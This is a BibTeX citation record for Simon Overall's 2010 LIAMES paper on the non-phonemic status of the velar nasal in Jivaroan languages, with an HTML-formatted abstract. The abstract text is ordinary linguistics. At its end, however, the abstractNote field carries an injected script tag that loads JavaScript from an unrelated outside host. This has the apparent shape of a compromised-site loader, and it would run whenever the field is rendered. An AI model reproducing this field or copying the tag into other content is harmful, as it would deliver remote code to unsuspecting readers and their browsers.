@article{Overall_2010, place={Campinas, SP}, title={On the non-phonemic status of the velar nasal /ŋ/ in Jivaroan}, volume={8}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/liames/article/view/1470}, DOI={10.20396/liames.v8i1.1470}, abstractNote={<p class="Normalnoindent" style="line-height: normal; margin: 0cm 0cm 0pt;"><span style="font-family: ’Times New Roman’; font-size: 10pt;">The modern Jivaroan languages and the reconstructed proto language have all been assigned a velar nasal phoneme /ŋ/ by previous analysts. In this paper I argue that such an analysis is incorrect, and propose that the velar nasals in surface forms come from two sources. The first is assimilation of an underlying unspecified syllable-final nasal archiphoneme /N/ to a following velar stop /k/. The second concerns a group of velar nasals that surface only in Aguaruna and arise as a syllable-final allophone of the phoneme /h/. I also propose to reconstruct a rhotic phoneme for the proto language rather than a velar nasal, and show that it has merged with /h/ in Aguaruna. Historical, comparative and documentary evidence is adduced to support these hypotheses.</span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={LIAMES: Línguas Indígenas Americanas}, author={Overall, Simon}, year={2010}, month={abr.}, pages={45–59} }